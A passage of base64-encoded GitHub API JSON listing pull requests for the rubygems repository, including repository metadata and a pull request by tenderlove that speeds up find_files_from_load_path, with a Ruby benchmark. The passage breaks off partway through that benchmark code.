cGFwaXMvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2xhYmVsc3svbmFtZX0iLCJyZWxlYXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxMi0wMS0zMVQwMjozNjowN1oiLCJ1cGRhdGVkX2F0IjoiMjAxMy0xMi0zMVQwNDo0MjoyOFoiLCJwdXNoZWRfYXQiOiIyMDE2LTAxLTMxVDA5OjEwOjA4WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL21wYXBpcy9ydWJ5Z2Vtcy5naXQiLCJzc2hfdXJsIjoiZ2l0QGdpdGh1Yi5jb206bXBhcGlzL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9tcGFwaXMvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9tcGFwaXMvcnVieWdlbXMiLCJob21lcGFnZSI6Imh0dHA6Ly9ydWJ5Z2Vtcy5vcmciLCJzaXplIjoxODEwNywic3RhcmdhemVyc19jb3VudCI6Miwid2F0Y2hlcnNfY291bnQiOjIsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOmZhbHNlLCJoYXNfcHJvamVjdHMiOnRydWUsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjEsIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjAsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6MSwib3Blbl9pc3N1ZXMiOjAsIndhdGNoZXJzIjoyLCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiYmFzZSI6eyJsYWJlbCI6InJ1YnlnZW1zOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6IjViMjc2MmI2ZmUyY2I4MGU2ZTMzYzE0MDliZjUxZTk5YjlmZmFlNzYiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMDQxIn0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEwNDEifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNDEifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEwNDEvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzEwNDEvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMDQxL2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvYTNhMWRkNWU1YmUzZTA4NzFjNzQzZDczNTBhMTU0MzQ2MzU2YTc0OCJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvOTcxIiwiaWQiOjE4MjkxMTA2LCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzk3MSIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvOTcxLmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC85NzEucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85NzEiLCJudW1iZXIiOjk3MSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwidGl0bGUiOiJpbXByb3ZlIHBlcmZvcm1hbmNlIG9mIGZpbmRfZmlsZXNfZnJvbV9sb2FkX3BhdGgiLCJ1c2VyIjp7ImxvZ2luIjoidGVuZGVybG92ZSIsImlkIjozMTI0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTI0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdGVuZGVybG92ZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwiYm9keSI6IkluIG9yZGVyIHRvIHN1cHBvcnQgY2FzZS1pbnNlbnNpdGl2ZSBmaWxlIHN5c3RlbXMsIERpciNbXSBpcyBzbG93ZXIgaW5cbnRydW5rIFJ1Ynk6XG5cbiAgaHR0cHM6Ly9idWdzLnJ1YnktbGFuZy5vcmcvaXNzdWVzLzEwMDE1XG5cblRoaXMgcGF0Y2ggc3BlZWRzIHVwIGBmaW5kX2ZpbGVzX2Zyb21fbG9hZF9wYXRoYCBhIGxpdHRsZSBvbiAyLjEuMlxuKGFib3V0IDEwJSkgYW5kIGEgbG90IG9uIFJ1YnkgdHJ1bmsgKDEweCBmYXN0ZXIpLiAgSGVyZSBpcyBteSBiZW5jaG1hcms6XG5cbmBgYCBydWJ5XG5yZXF1aXJlICdiZW5jaG1hcmsvaXBzJ1xuXG5jbGFzcyBIZWxsb1xuICBkZWYgc2VsZi5vbGRfZmluZF9maWxlc19mcm9tX2xvYWRfcGF0aCBnbG9iICMgOm5vZG9jOlxuICAgICRMT0FEX1BBVEgubWFwIHsgfGxvYWRfcGF0aHxcbiAgICAgIERpcltcIiN7RmlsZS5leHBhbmRfcGF0aCBnbG9iLCBsb2FkX3BhdGh9I3tHZW0uc3VmZml4X3BhdHRlcm59XCJdXG4gICAgfS5mbGF0dGVuLnNlbGVjdCB7IHxmaWxlfCBGaWxlLmZpbGU/IGZpbGUudW50YWludCB9XG4gIGVuZFxuXG4gIGRlZiBzZWxmLm5ld19maW5kX2ZpbGVzX2Zyb21fbG9hZF9wYXRoIGdsb2IgIyA6bm9kb2M6XG4gICAgc2VhcmNoID0gXCIje2dsb2J9I3tHZW0uc3VmZml4X3BhdHRlcm59XCJcbiAgICAkTE9BRF9QQVRILm1hcCB7IHxsb2FkX3BhdGh8XG4gICAgICBEaXIuY2hkaXIobG9hZF9wYXRoKSB7XG4gICAgICAgIERpcltzZWFyY2hdLm1hcCEgeyB8ZnwgRmlsZS5qb2luIGxvYWRfcGF0aCwgZiB9XG4gICAgICB9XG4gICAgfS5mbGF0dGVuLnNlbGVjdCB7IHxmaWxlfCBGaWxlLmZpbGU/IGZpbGUudW50YWludCB9XG4gIGVuZFxuZW5kXG5cb